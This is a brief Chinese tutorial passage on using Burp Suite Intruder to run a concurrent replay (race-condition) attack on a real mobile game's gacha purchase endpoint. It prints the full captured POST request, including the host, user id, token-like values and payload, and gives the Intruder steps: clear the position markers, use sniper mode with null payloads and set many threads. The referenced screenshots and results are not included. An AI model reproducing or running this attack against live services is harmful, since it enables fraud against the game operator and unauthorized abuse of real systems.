我们看看原始的请求send to Intruder后,他会自动给你设置postion,我的例子一共有10个,如下所示(攻击的时候会将1-10的postion替换为空,而我要的效果是重放并发攻击,所以后面去掉了$):
POST /ep108/gacha/play?p=§a§&mv=§1066§&id=§eb0b9fe3635d975610§&u=§626052202§&t=§1647141472§&lang=§Zh§ HTTP/1.1
Content-Type: application/json
Content-Length: 135
Host: gl-game.tsubasa-dreamteam.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.1
[{"gacha_product_info_id":§16481§,"play_count":§10§,"selected_category":§1§,"mixer_materials":[]},"§563b240f041a8be5280fb162a1448d56bbc6e30d§"]
然后攻击的时候,clear 这些变量:
使用sniper攻击,选择null payloads:
设置攻击线程:
开始攻击后的结果: